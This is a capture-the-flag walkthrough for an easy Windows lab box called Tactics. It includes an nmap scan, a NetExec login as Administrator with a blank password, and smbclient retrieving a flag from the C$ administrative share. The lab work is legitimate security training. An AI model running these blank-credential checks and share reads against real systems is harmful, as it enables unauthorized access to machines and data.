Tactics

Technical Walkthrough

Tactics - Walkthrough

Overview

Attack Path

SMB Anonymous Enum Failed → Administrator Blank Password → C$ Share Access → Flag

Step 1: Port Scan

Target blocks ICMP, so -Pn is required.

nmap -Pn -sC -sV --min-rate 3000 <TARGET>

Result: Ports 135 (MSRPC), 139 (NetBIOS), 445 (SMB) open. Windows Server 2019.

Step 2: SMB Enumeration

Null session denied. Tried Administrator with blank password:

netexec smb <TARGET> --shares -u 'Administrator' -p ''

Result: [+] Tactics\Administrator: (Pwn3d!) -- Full admin access with blank password.

Shares: ADMIN$ (RW), C$ (RW), IPC$ (R)

Step 3: Flag Retrieval

smbclient //<TARGET>/C$ -U 'Administrator%' -c 'cd Users\Administrator\Desktop; get flag.txt /tmp/flag.txt'

Flag: <hash redacted>

Lessons Learned

1. Always try Administrator with blank password on Windows Easy boxes
2. Use -Pn when ICMP is blocked (host appears down but services respond)
3. NetExec is the fastest way to validate SMB credentials and enumerate shares
4. The "Tactics" name hints at tactical/quick enumeration approaches

Alternative Paths

• Could also use impacket-psexec or impacket-wmiexec for shell access
• impacket-smbclient works equally well for share browsing
• WinRM was not exposed, so Evil-WinRM was not an option here

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

• Target: <TARGET> (Tactics)
• OS: Windows 10 / Server 2019 Build 17763
• Difficulty: Easy (Starting Point)
• Attacker IP: <TARGET> (Pwnbox)
• Date: 2026-05-05

Recon

Nmap (Initial - TCP)

PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?

• SMB signing: enabled but NOT required
• Hostname: TACTICS, Domain: Tactics

SMB Enumeration

• Null session: <secret redacted>
• Administrator with blank password: SUCCESS (Pwn3d!)
• Shares accessible: ADMIN$ (RW), C$ (RW), IPC$ (R)

Synthesis

1. Only SMB services exposed (135, 139, 445)
2. Administrator account has blank password
3. Full read/write to C$ and ADMIN$ shares
4. Flag located at C:\Users\Administrator\Desktop\flag.txt

Exploitation

• Connected to C$ share as Administrator with blank password
• Retrieved flag from Administrator Desktop

Flag

<hash redacted>

Credentials

Commands Used

# Nmap scan
nmap -Pn -sC -sV --min-rate 3000 <TARGET>

# SMB enum with NetExec
netexec smb <TARGET> --shares -u 'Administrator' -p ''

# Flag retrieval
smbclient //<TARGET>/C$ -U 'Administrator%' -c 'cd Users\Administrator\Desktop; get flag.txt /tmp/flag.txt'